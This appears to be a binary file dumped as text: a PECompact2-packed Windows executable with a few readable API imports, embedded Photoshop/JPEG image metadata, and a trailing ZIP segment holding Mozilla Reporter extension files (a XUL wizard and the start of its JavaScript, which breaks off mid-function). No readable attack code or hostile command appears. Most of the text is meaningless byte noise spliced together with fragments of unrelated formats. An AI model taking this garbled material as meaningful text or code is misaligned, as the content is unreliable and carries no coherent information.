?j|829J
xT+8v(
$J}ji0
fU^ma2yUf
pnxv=k
CK?K~9f\(%{
H<nO0.g
(b$a,kz"`Hn#[<ms&Q%
A^1.Q>-b
5#IK3&X!%V\q
ixz"SYOY
J^MfzNun
Ik^-tHS*
[9h?vnqd
J7Vng0
J#H#{]`$RXBPJ
N$Le=F
=8wv-3
s#*Za&DZ9
v?L$4P
v|jhXQ]N'
mGd/VD)=1B
3|P)ST
atgZCU+g
+d0J1I
18pO^l>p3
m'@e'05
LgThHL
D#f{O(J`d"rF
J7urt`Rj
3$+cC9W
yywWm;
Jjex|s
X!#uoK12#
"s@K\}C
?R{,hUUu ikHc
PECompact2
\ugWPw
H%caAp
6m8Nme!6
VR^]RIK5
vdQ_w\|H
y9e!w)n
]oRln uJ
=%8T"mXgbslcoF
$E,+hu
s@B?hqa`
#^|G(!8
x`T"@h
Ozi FzR7
zL)cOx
ba&tqa
J`/O`0
.E]=NQjKnw
1.19_p
vS}pT<*bgN_
WGc.5mIr@`^
/M8@tCL=ge
H:aP%w9iWPs0.,q
2\.vghK>-(au
"hA=1M-
r9W;>-
gigov
0~P<!Az$
#]_E{3o
4{h.6DsN!
+QRKK?t
^**5!<Vg
NZ_Rt
s0BRK3.[q#I
gKO3lToa
wW-E&@&A^t&
HEC+X[:
?EXN\GO(?
%OIpMEG
e+.;:?
Y;zVpN
Z'K20Vxq
?%Mh2^G
lXV!QOA,ex
pS@hv;
i'h8Q]g
tM;k/&i
bKz5Bg3
c14=pxh
Y,9}'r=[39dUM{RZ_
QN.KEnB[r
.nyULT6
xl$T&0C6
q]}N:)
Ag7F%TQf|U`
#h7HlV/M
PG3ilpeGA~oLIC,
}r/h{bG~
MCPTl+mj
oD u{VuLR.%
9iXS7b
^#w0N8
QqKrx[1T|>*
+NW{(h
I~+aXHt
uTpNMC
XC6mD.g
a`v\.$J,s[
u<-@pc}]
phusCJH]
o!w-BTy&
i*V&S9
Jtt]{JQ
E*wmc3e(jbtgh(
v-9q[3$uZU
HdOM1x&
8WiNW@
e87@46]
}D~+eLuOf
nAr8ei#v
~K(rAN
(rU)E'
TU?Ho9oJ
b'c4;|
p~>\\c@WCG{
t[1It/Tl"x
mNP_nw_WUZ
Q;G9%2|v13
;Li[@cc+
bYV/LT
DU=m?M!]
+@@L4~Ru4
ycr1FJP
/d._]aUIU>2|
/wQ)bAvRw;
*cV!^vgFcu*o
8.t__g
_P}`\nJ
))_c,dQ
'/ZMtQ
krgkLpf
'WC,oj /9
0psHW
'"[<VGs`
,G^`h,x
Gyp.`[
Ilv6Lgqm`x~Z
}oo\sRapWTz
'uwTH"
X8`,fw-
Zj{I# AJ
3G>51D8GvkR
<1V\%H
b.l} 2#,cczg%V
Y_eza^.\/CVj8tg
UsKjSS
nB^ur8E k
.QTcR
w!T4)9tZBlc<,
x,aajYE
[*V^|B)u?
XycA )%
4R5w1g
%!'Y'(
:pBjSqP
PJ2%b6
t6w6Gux
38pq" E
hJVulHWsL<-l_
ht=+?l}3@rrP
}3;+9
HtU*pM<(
Z\YLGA
t9*YKw
yGMa.%
%J=i:
O"os7?
1xtD/g
j:<^$V%e
mh>iFMk/[o
{CQ0*1w9
4Wr7%x{
<)~@mWV
`Z_IDJAtY<i-i
6t<rzt5<`[5L
E;7]A7JKd|JI
li3@kg
WeN)bJ
>3gJF%Lj
B^L<J#%G*6=lf
Tn#qn)r.0
wX8OZm?
CWsi0>
2NbXy4Ro71!6E
'QXqE6
Tmd7 E!
3q4.p=[);"r
H,u"[
ZPv,@J5!-
?zw!.RrM+<
wQkMS&P'P1
YR|7^RVM0iqC
\bw>_|{
WwbfwBL_m
~(N'5&/q{'9
\~c!{MFz|@m!Qk>C&
L83C^(%=
rN4RE^5wH]
z:wy@NaW:c5Si2h
<9Aj?Q)d77(+
^qyc;03Zet
$nggb
9i'eZU$!w
M!@/ce8
zr:S;2__Qx9p=`
a"DJe&dS3$)*
f%o9q\
hm1\GY
WO4O0k
)f/q0fP=
e7NhV7xU
+5C9&I
@sEuQr
+w5kV%5
0dV+ghQl0^/
>fBX&D
C.V7zyic,
8/5$DJ~A{D=:D
gb@U+-
TC2F-a=GP
v%ezB&j1Li
!-Ci~0
)ttg=y|
_ATRPx2
y&Fyuv~^r
bk'+$#*7^'Lz
!rZaz&
^Hmyqk
Ipx&(
4Pxt.$
FHg^BL8YoR
l)"]%l#
/x*_UL'2
NLy`dsf2GK*a,
|i_w<Y[
_H#|Dc
s2xy{`
w"g]P<
0;mfh})b
7CUq]CMC
jV9z)]Jl?
C@EP7$1
f@U2|*lc
Gm18xu
]yJT_}
{pY."h=U
`ZHL~`
1w.7BgpY
Zdp/Rn>
>?i/Ow
apHgV1+PrLd
!i6d@G[
#>BOIr1:%
r>r+HE
wsIAwh<e
/Gn6g1.gUij4H^m2
nITgLTmnvt:9
Y0Kb.Pp/8XiQF>+lp
O0jw%#-
Kl$;.jB%
9`R#IA,n
Texk`%
P#qd\lKB
<*sfk;k
.v^Z[$
qz{W(g8i!D7;uM
tVxNg\
Cb(3>
HVpag]Sn?lQ
YEB~0sqq[
:t_]BJ
skX#r[yzum&wL
p5v{9Fo
Yc>#~^q9?
bkGV-}:
r#hKgb\;
<|Kr9%|
m:Cs^W?+6g{EA23!
aEP0oh3QzLY
H/0\.]
6R]qW>EK
#0 1XiY
@?j&Y($/
0i2nyK\bF
L@8|V,
f.%tS-
iLOls;:
+A'QZ`
wxG]Aa
3yXOq6q;?91q
AVrLMq[+zMOy#w`
vSA'?T
\IT`mN[Q
~,b#*2r
|syW)wH8
A(dXS|
bsl(&o
PmeCv7KjZ:`\}OX
XmO+4V3UNXko,z0dU*D
IU+NdafDum
S"y"Zh
w{5pLy
&/LbxVnE{b4
]<l)$E
(j.LF1
'r;W8}
~T$ivBr
:2&<*&Qe,wj7
;@p"Wy)
d?[xn-#|7m0
kd#a`/
ngN`\DO
h2PswM
/}'_$T
O3|yRG
6%6EDSD
f8'F~=8J6=
GvE2Hl+*@A3O'
80sNSor
vda{& f
cjk_T}+j
q#Kc#i^?,
N#>f\xZ-b
rI2"T?m.FS
~![V&8
tvVEUa7d
{M}Ueg
Pv\o(a8E/,3Ky
9ulAnG)n}
s4jCT?!1|
[KLm1&QOkOq
fU8D8*
!1o?|j7*+`5
0=_l,G_L
^dmI^yp`lP%#%
1puvv\
G-QJD@
FAt_;$<o
`dyv'8
S+#NXV
z~E<z/
!1Na>Jq}
~z\qyE
FE8UZ1&&
@+7cs`
E?x]='
ZaOrF~
gYUFwbZlr
q[%FQx
eIS}<[g!
(2,u73
7oFNLqd
g5UVuZ~
:Ig{8m
QD(QI%C'P
-BT=Cg~\
Eh(qB
%&;FX%
2dE~4^9
{BQd!,r
uVKc1hg
~R0h[b
+Roj?k3eZ
fU,;j}k~
Qx0d.'
3qwIDblZ%
Nm-Z w
p,tUVv
d2:@nPmD036[l
:12DT*p,Wdyv$e
Jsieoc_
c\Ru~=
=!W+BP
+}eDR.Ml:'X
F={P4{a
:D\r8yA
70L92AoU
$\{gI{
_>/~07
Cu"$i{xE~9P@km7"
chcYp+/'
VvS]D!@.8o5V4+
nU#6~
uHO>M?C
8N9t=,7
>zLC9[uO
92V'>h1BuZ/%j
bS. *KDg)t0
O7B[(N
U(l'?XsS\/u$Ii
J__B@y
+TWH,2
kernel32.dll
LoadLibraryA
GetProcAddress
VirtualAlloc
VirtualFree
m2_ KW7n
OQ?*CT!
8!5@|K
9w}iX=~L<,
Hq]C<.+
?C&i"p
;==$?K@]
v!pc}nw"J
d"qPw,
{ia0dVD
>z%voql
3hKt2?}
8 JQY'
-Y,'/>owL
!DV,8Jb
F3_Jg6
y$O=Vb
2qia_?upw
T\>FND
ModulqHan8
Virtopc>ken*32+
ZPY[z]8@
+>(/P"
H+SlM8!
{BtpyL(+
P/(#vjE#hM!"xV4
!J*YO*AW$^@f;M
D$4HSUVPg
6A|$ l
\8T<>#
v0`Zf#
9hD-*
9$$ ?|
;0xUeN
:@97oJ
+Pz%}T`oe<~Wq
405=QtL
vB*(3H%Iw]
Dd"B7\
(1XdS!a
N~0SvJQ
~}U?_(
90sk$M
sFpRph
cN,4+KQ07!'
A,R?B-
%# |"!
uD3Z~X0
fdb;u}
'nPPCN1tMs
!Z`;h2=2
dT)}&nAH+6J^|
@tKwFQ
B_^/b2
XY^WVi
PO:M9W
,QAj@Rw3:
]F:9Fu
g!{PWQSL}@
i7Xt|H,!
A|Q@,:Zha]oM9%
Nr'`Q6
vq"d4n
9l@L04+
pUWmsvb
{ u.Th}e<cdc
%sy5|lntba6id|SDqLG5d,al
uj'XGvMagB
wP=tfNfExitPL
}~ActNCO;b2!
n$zH[QY9
<$J0dkX2
`t$$|$(3
r+|$(|$
USQWVRW
ZPR3C
Z^_Y[]
3/12/2019 BM6$
itWeK`H]FuS>cF4O9+7(
j{]hK9
b$_saf
p o:oOt`vgxjym|n|nv_jIZ)@
taL7*@, {Y
o2hOgYfWgHfKfOgOiRkWp[uf}qy~qdGKsN
h5\IYFW<V6~`0_e.V5U5X7Y;Z>WFZMaPfSl[
S=P9P-M(K%G!qZ#6k%M!H"K$K)V!
f"G0G#E
}vJmd8dF?
lB-U;Rk'E`"`d2jGL
Ek#Vf+jj>T'0
Fh%w]/V*>
f[%W)E
?h&R#H
< @"D#F&G
H+F970'
;!A$H'M%Q4RGQSS
S+RPPC4"
>F&M*U,Z)_K^Bb)c-`
\iocP=%
I(O+X._2f9k(n5ndr2k6i#`"ZtgP7
L'P,Y0b9kBr=wzy
Aw>o'e
="M,X0b:lKvJ
DyruX7
4*R/^7iHtY
{C_V@
L3f?rI
7winy$d-Y&K
Lt0g-Z%J
F|Cr4g-Y'J
3v+f,W'I
koo[/\
8A;;B
zuph\T
3/16/2019 13/16/2019 13/16/2019 1
Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
TI%)$IJI$RI$I%)$IOTI%)$IJI$RI$I%)$IO|
|S0l5f:%e[
)A/E3:M
&Z+?u5~Q
ng!NI:jI$B%
eoaylW
m>>-[CX{?X
j~?Xrk
6]e~Ef
}(c]Uuts}OM:
EE![eQns
Z.mm>hk99
b~?LnI
<<zah[+mOv)0{
N&scbDv^3
khv6uM
C?\}8u
xCCcUg-P
t*lm]C
hun$4cW
2mIgK<
}%%W7L4Wxa2Z-h6t;TI%<
S]_WAh
{y?KX[g}p
qoZD%"U;pu57
usHyuW(h
o3v`s7ow'7,5SK]
jqhc1'
UMx4WM-
}OY6j=/S]"S
TI%<~X-
v~-Euk
jUX&<G
klU_X^>
6GhDPSY~9_oy
j_-"y3a
^4Z"C\^}6g
6f_TI%)T
*ivncy-F
~sHGDS$
)$IO8BIM
Version compatibility info
JPEG Quality
!Adobe
`"@2PA3
" aq2#
AQ aq"
@P`Rbr
|smPMbRZ
-mZd>ym
qU=q+9
d@q<+E2oYV8Y_37.5.x
$08 (G
5;,1{^mOp<L1
BhWo8
){W]9}/
U~KwPK0
$u-r"28
6KYrI"Cvm
m$YZ\S]}j`
hRpvH
+<b!]^C@.7
Qib2I\.x_
}&FIb/
s&c=z7 rCR$
)MDnd&s
78AQS%R*g0+u[4*zp5H
UW9)EVLLP@B
!TL>m.'
G1ZE-a
dQ'Rvit
8|/HS;
]3G%].
FW]3E@1#
D;$db.T
S@>@!@h
3D96l p
BK1mGa
ByDxbx(
W;y0Xn&(k
r+lS7?QU
a>4e6x
:$#2lMkY
''3Iud2|c
2!KW,x
yK{2xOA5O
FPL70n^0q
JI2`#(?j
da7T<Xa?S
VWJIke=>
>.DMHsUS\'+rkQ
N! ])+c
cpD@#a=
(@t&({
9YTfA8um.
j"q;Y=qj!8)|%f{/
|;Z3naBI
Sbc#0C!p[$?zv
xE~XeNnsJ
f5}|.R`
`p*=e;U0Lk&
O"Ak50%n
y'u#JK.
fPH!1\,
Ho7 Oj
>|+kiwo
Nnl4:mfP
="s%wN
P{T'F@wi&(l
mXuyHh
RC6=e;whn
lVB,Om
H+sQQ]0AT;f
{isHsIU
9Gz(Skw]v
Q{qh<)!
Rp/]jc!
p)zqd/p
|%sp%9,R.kr^
%/^ =Y\
sap{jW
N5u?$o?
-9zUY-,(X03^+')=x
iHdjv_/
2)XVV(]+Ux
9_e]:8
1^&>t*:
w!^#A+N{`BrUWE
f2wm&/yW
5Q>MVYkMq
97IE<f
5<F`0 UvbIHFGK{
6U=U;AY
8#k3ZKy4
=z1cA-A]T
8Rz*Z@Kt'z %
I()')$/jR
JP,~@%T
#|=u#myv
y/+pj;
mL4F;ug2tY\>H|
l=Q+;u
OU:yVVc
lwY3!]
2N~v21
IA'jRt(13
-QJIe
c3I75!A'p
n7j+\VRd7Zz\ULEageE+,
/9o3d+`byZjcBHP
{k&m|Gq
#!EL8|wFLPQ-u" h
\mh;V=
bJ,3bQ@vJIT_
2b2ABDa"n3kHZ
#c2d9Pl6XjKq
v0veC1
cW8_ZK/j
{5v{M*[9u0s1MODwPnK2
%5PgY%vk|,
's:ZZ1
R4f)NQZV
Haftf3+h8jR!mn($Px
%6m\\tUIW23
&nE\kpvS[&VqHBGS
6/I"%+R
R`PfsN
]$Bvpq
E}=ev+]n1.
^0ISm1{
9f%{oA(:T
`FCM 2
%zSrV$P
20^iYK<3!
}GeTin
s!n{T#"
usM2*b
XifQQ)P
2ZUc;4X
V,%Q>KZ3
KzBY+qH
IPzl]JT
WURCu@:u/7We1=dGr=+l
sE 0iLr|ZCV
$[\JT5;
2P jPI
k)_}M<
p.wWLS 7x,
)+'Sy/
-!,2%$-
:e)Hi4
KBJhd#iJ
6j4SU(
"I:Rv!dF
$ 2Q#BtG>q
N+q$Kqbf\|N?Y#)
6))e)9^Yy\nG
'sjlZR
d(CUqD 8\t
v(&G w
'\49,G2
QH)W5I[
mOJHuBCw3Qj@#JzlO6
PaWTkS
Ca&Z[d<66o
iC36dHBWo
_-W!.lDtJVbJ=8
{tNI10IZ
AV)66mm
[A+% Su-"~
S J=A|~o
Fdc'.T+
e=(+rJ
[mR}FAz
-s?$n%d
[[KO"e
PRv"D~
"x+|mZ
ARiNzf
TOtwVY^c
LIBt `
#&.EUAZ
>~'J2=Io8
E6|Xjw_u"AT*Z
UUhRtQE
$y9/b
nG$))u
^qI@HID
CSeRSw+Y
=4S2Y%MZ[JJ
)!hSj>ARO
(4##`X
p itT"4]'r[wq=>
QgK)?%DmqR
zlm%a:5
h(MM'q
Ci5)7PiA@u=%(F
?2@${` )@
iAR:n?|)
}3/24/2019 3/24/2019 3/25/2019 1BM
DDDLDDDDDDDDDDDLDDDDDDDDDLDDDDDLDDDDDDDDDDDDLLDDDDDLLDDDDDLDLDDDDDDLDDDDDLDDDDDDLDLDLDDDDDDDDLDDLDLDDLDLDDDDDDDLDLDDLDLDDDDDDDDLDDDDDDDDLDDLDDDDDDDDLDDDLDLDDDDDDDLDLLDDLDDDDDLLDDDDDDLDDLDDLDDDDDLLDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDDDDDDLLDDDDDLDLDDDDDDLLLDDDDDDLDLLDDDLDLLLLLDDDDDDDDLLLDDDDDDDDDLLDDDDLDDDLLDDDLDDDDDDDDLLDDDDDDLDDDDDDLDLDLDDDDDLLLDDDDDLDLDLDDDDDDLDDDDDDDLLDDDDDDLLDDDLDDDDDDDDDDLLDDDDLDDDLLLDDDDLDDDLDLLLLLDDDDDDLDDDDDDLLDDDDDDDLDLDDDDDDLLDDDDDLDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLLDDDDLDDDDDLDDDDDLLDDDDDDLDDLLDLDDDDDDDLDLDDLDDDDDDDDLDDDLDDDDDDDDLDDDDDDDDLDLDDLDLDDDDDDDLDLDDLDLDLDDDDDDDDLDDLDLDDDDDDLDDDDDLDDDDDDLDDDDDDDLLDDDDDLLDDDDDLDDDDDDLDDDDDLD3/28/2019 13/28/2019 13/29/2019 1
&Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
kRRd8-
cY^Llu;.27,mI!
'M>)cb{1b}Mx
?F5u62*1
bw*'i$:bI$
+1[;tRe?/6YON=:jZ
]q42f>;7
mrq3"J
mv{m'~E1*l5
_k]f5>|fllZlfa^/-o W-iqDg7
z/ef;xp;m
' ;$R-
32?C1Z
`[5moQz]x}s
5IzhN{FgU?Akc;f
Fzxuz;
R}}K+]l1
UN;nUq']_!O-`<
*=;l5n.;w_
uL\`jk6=H
kJoOao4g<_+j
{=[\V5
_g=5ED
Szi$Dvoa
5YzY8b
;4b\.7f8
re?a5/
o{cy4}o
zM:=ud:ZsF1i27dd
>Pe6HVpv=ijem]
fBX1/$M
pT0[.`;qZ]N>{E
26Vc}[[
kgn??}#,#OsJs:F^
[>iGXkj
tX-}gn+
uI$<\K2(7kC`lkXG_
-f5"im
8pSpe(
v@%-q p
a PcZ!
S%.0<xL-Eck@=8
:Tlh<b|S
(NJY:I$
Version compatibility info
JPEG Quality
!Adobe
P1A"#$
AQaq"
@Pr3$C%
`]P*uK
G:|NX]v
Y=:*6wRzY
\;>6<v>|
4Q/~gpJ{6
Xpy%$ZQEHu.[
%oHh<v=8
[_7gZN
]z>x#K
p9CY5.
jy?<=[
t5`VnL_U
AOI]3;u9.^x
SZZ0<]V
Sbfji$Hl
j/7k,b
h[^VTNu(39h
'>'VU+
QZAi<jjS<$
g/Y2*31
--$Mcq/
Y@)~52
2tqZq}G0
7-SSm.
~:V|Z'
d+/_q8
I+oW`"!abp%
I.G08e,J[\Xq2&[{*FhyK
H:YF,}(qu
*BEYa
v89S#ct3$%BA1Q
T!ZEvQOI(D+c
XTf"|
W!f0f%[
*1q"qD
9Qvqnk6Is
;6fBmxogV^QQRqlhR>t
3uY]}cKMIW
e,T[ MpATLU
Y$-Ls)~
V9$7Q_@
OD*1@@
B<B[wZ^-@
!9K9DwB`
R<RL-9ET
c7UAk0
:>f^"FQh
>BAd};MZse
x3##)Uu
F*@`9e
|b1w:dA
Qt}5}l,^3ky: e$|
pST`Ow/
V}o#KJ'`mb7
,ULN`w|uYzR
IR?`1inV
f)`z|H
DJTGb$n
;vQn@2`@@
IPM0L@
@5k`}7
/;OfjmR
,w$~Fcd I(ylzCd
lYyFyN
! {R.o;=
}#mVLKU-k
eB]kul
81;DN1V?S+`
!nZ"Ma "^1nj
IDL\AwVuls
10^P*/=N
>]14*
*5zX0^8`
OXu$E\N0b&v
nm2v5p
ZzJ;j!
HxG#8T)
1e[W>w
5)5O@O
G-Q; ze(#?Mi{N
8q0=e}
hen4@kZ
EPSL5k2
;Hmg{$
@ U,}G
@rOLb&
H.(P4N&m-9JW)
trW<6S
,)U8OgB7kikWk
Rk%:s;P
5(H8(j
"!sa,0z
=FSae7bx5
xUQN?SB
=c-_E{V-
<{B[J6&
sposPr:
%#C_\\Vpy
RuPfv!
;]&Ps;
Cym9pR@
j8ApL;
~tr@k4
J4Ph.8fJ
Y4\"0w
{j.Lf
gNRBd3e(\9
C~X0r+%S29|>|
s}Dup&E
g.]K@g
pFj94:li.ikqzW0
j:=P6uAr
5NNwS*
qfi- ")slr#C
H !2"*Yzy(.`#\$DF
;1S5r`
&Yw$Th!G
GCCVT~YW`X)NI9l3l[Uo+
~42v",Xz<
.AQas!%]
4UXuk}xWNd
Y.1ms.
Llz@2\O
d;}7TspuG2
;:45I
7SmE;V
Krz|_&+>?1U
4)-<Nokn
&e<e_!
hK$elnGZKPD
\s:z|I;RBKFO_`
tsE)cS:
J#n3|:
/%ox${
=1>2?J
71C3\F
q>~~E
Fpo!a,c
b.,q8)
Tmm1#^!cbB
VD1` Cqs&
pBg2Gh-a
K||oqj]
rU"nGFU;2
>/~vZx;
W@:l>6
dhcI..\<
o|1k,H~'m
D46e/=)CZ
LS<-rQ#-G!%$
@x|o9l-)^%gmyn
zM8djGms!cPJ
h?RZZZO]Zo
~|g$;\[4G/!L
u0]lux
da$4M )
VT!o$bdx*u
uB@u>}z?8
DxDU?u?
y.vL'W
r_y0M?
@he,$,
{,\p!ORvUIJwxwU
W^i@;C
5EMket'AX/
oMm"JVmO\/
pc.'p{a2%
{/~rW9,
[\.m",+Vk*
\e,DD#Xc(% nue3|zn)qs,Ac--
)|!`GXOI
]o2Oe,
KgiZuhp
?uRi@{@
y\<Wy`V
.ukr.y/&LOy
zhap5Iy>
RS&_k:
cYs5v
*8}(qi[f6`
/G\\%6s^PwS#k`X
+,QecU7
]J=c~<cc!Z
p&dElc|
~]*M:\emOc
11`(iYKY
v^18"r-q.x
7M$F=X
I@{Hhu!A;
:?1E$9NO
*J>=<r
d.U~g]ZJ
-H#$aX]2
zr:m)fA
{c>w2dZM
qL(y
lC2Lvo+
]s\_I=
/GSqW<
TRhOn8
@w?'x<:
INkfy?gy
_NR?MVP-6E#
)Bo>+dVb?.ZnF
VVOGz[9Y2k
iIQVT*J
NT[[iz}<F[s
C)OQj@
]E$/{,
JuNj#RA4Cui5
OJ$K%V8"
OhhG`GAiC]G
SA^x0F;T'
zhhakD
tg*ueUjNld;
!M}ZW[h
iTRtui
Jw~Y](
cONKZB
=G'X2t:
kyT<f8;.
6= vWsZ
\?i+6{z{Yk#!SZ
Tz15@a
=.+>;uMF^
:Smtw#
Wo~]*
u#BR}O
iF]ETU_
4/1/2019 14/1/2019 14/1/2019 1PK
content/reporter/reportWizard.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
<?xml-stylesheet href="chrome://reporter/skin/reportWizard.css" type="text/css"?>
<!DOCTYPE wizard [
<!ENTITY % brandDTD SYSTEM "chrome://branding/locale/brand.dtd">
%brandDTD;
<!ENTITY % reportWizardDTD SYSTEM "chrome://reporter/locale/reportWizard.dtd">
%reportWizardDTD;
<wizard id="reportWizard" title="&reportWizard.title;"
style="min-width: 535px; min-height: 442px;"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reportWizard.js"/>
<stringbundle id="strings" src="chrome://reporter/locale/reportWizard.properties"/>
<!-- Privacy Notice -->
<wizardpage id="privacyNotice"
onpageshow="initPrivacyNotice()"
onpageadvanced="setPrivacyPref()"
label = "&privacyNotice.label;">
<description>&reportWizardPrivacy.description;</description>
<vbox id="privacyFrame" flex="1">
<iframe id="privacyStatement" type="content" flex="1" src="" />
</vbox>
<description id="mustAgree">&reportWizardMustAgree.description;</description>
<vbox>
<hbox>
<checkbox id="dontShowPrivacyStatement" label="&dontShowPrivacyStatement.label;" accesskey="&dontShowPrivacyStatement.accesskey;" oncommand="privacyPolicyCheckbox()" />
</hbox>
</vbox>
</wizardpage>
<!-- Report Form -->
<wizardpage id="reportForm"
onpageshow="initForm()"
label="&reportForm.label;">
<description>&reportForm.description;</description>
<separator />
<grid>
<columns>
<column/>
<column flex="1"/>
</columns>
<rows>
<row align="center">
<label control="url" value="&reportForm.url.title;" accesskey="&reportForm.url.accesskey;"/>
<textbox id="url" size="60" readonly="true" class="noborder"/>
</row>
<row align="center">
<spacer/>
<checkbox id="behind_login" label="&reportForm.behind_login.title;" accesskey="&reportForm.behind_login.accesskey;"/>
</row>
<row align="center">
<label control="problem_type" value="&reportForm.problem_type.title;" accesskey="&reportForm.problem_type.accesskey;"/>
<!-- XXX: Perhaps this should eventually/maybe come from somewhere else? Eh, not sure so lets just hardcode this for now. -->
<menulist label="problem_type" id="problem_type" oncommand="validateForm()">
<menupopup>
<!-- ************* WARNING *************** -->
<!-- DO *NOT* Add/change/modify without consulting with r.m.o server admin first! -->
<!-- ************ /WARNING *************** -->
<menuitem label="&reportForm.problem_type.chooseOne.title;" value="0"/>
<menuitem label="&reportForm.problem_type.item1.title;" value="1"/>
<menuitem label="&reportForm.problem_type.item2.title;" value="2"/>
<menuitem label="&reportForm.problem_type.item3.title;" value="3"/>
<menuitem label="&reportForm.problem_type.item4.title;" value="4"/>
<menuitem label="&reportForm.problem_type.item5.title;" value="5"/>
<menuitem label="&reportForm.problem_type.item6.title;" value="6"/>
<menuitem label="&reportForm.problem_type.item8.title;" value="8"/>
<menuitem label="&reportForm.problem_type.item9.title;" value="9"/>
<!-- Other problem: must be item #7 and must be last -->
<menuitem label="&reportForm.problem_type.item7.title;" value="7"/>
</menupopup>
</menulist>
</row>
<row>
<label control="description" value="&reportForm.describe.title;" accesskey="&reportForm.describe.accesskey;"/>
<textbox id="description" value="" cols="40" rows="5" multiline="true" size="40" class="noborder"/>
</row>
<row align="center">
<label control="email" value="&reportForm.email.title;" accesskey="&reportForm.email.accesskey;"/>
<textbox id="email" size="60" class="noborder"/>
</row>
<row align="center">
<spacer/>
<hbox>
<label id="privacyPolicy" class="text-link"
value="&reportForm.privacyPolicy.title;"
tooltiptext="&reportForm.privacyPolicy.tooltip;"/>
</hbox>
</row>
</rows>
</grid>
</wizardpage>
<!-- Send Data -->
<wizardpage id="sendReport"
onpageshow="sendReport()"
label="&sendReport.label;">
<description>&sendReport.description;</description>
<separator />
<description id="sendReportProgressDescription"/>
<progressmeter id="sendReportProgressIndicator" mode="undetermined" value="0%"/>
</wizardpage>
<!-- Finish -->
<wizardpage id="finish"
label="&finish.label;">
<textbox id="finishSummary" size="60" readonly="true"/>
<hbox>
<checkbox id="showDetail" label="&reportResults.showDetail.title;" accesskey="&reportResults.showDetail.accesskey;" oncommand="showDetail()"/>
</hbox>
<vbox id="finishExtendedFrame" flex="1">
<iframe id="finishExtendedSuccess" type="content" src="report.xhtml" flex="1"/>
<iframe id="finishExtendedFailed" type="content" src="error.xhtml" flex="1"/>
</vbox>
</wizardpage>
</wizard>
}e7IF;
content/reporter/reportWizard.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Boris Zbarsky <bzbarsky@mit.edu>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
/********************************************************
* *** Warning ****
* DO _NOT_ MODIFY THIS FILE without first contacting
* Robert Accettura <robert@accettura.com>
* or a reporter.mozilla.org Admin!
*******************************************************/
const gParamLanguage = window.navigator.language;
const gRMOvers = "0.3"; // Do not touch without contacting reporter admin!
const gParamURL = window.arguments[0];
const gParamUserAgent = navigator.userAgent;
const gParamOSCPU = navigator.oscpu;
const gParamPlatform = navigator.platform;
const gCharset = window.arguments[1];
// Globals
var gParamDescription;
var gParamProblemType;
var gParamBehindLogin;
var gParamEmail;
var gParamBuildConfig;
var gParamGecko;
var gPrefBranch;
var gStatusIndicator;
function getReporterPrefBranch() {
if (!gPrefBranch) {
gPrefBranch = Components.classes["@mozilla.org/preferences-service;1"]
.getService(Components.interfaces.nsIPrefService)
.getBranch("extensions.reporter.");
return gPrefBranch;
function getBoolPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getBoolPref(prefname);
catch(ex) {
return aDefault;
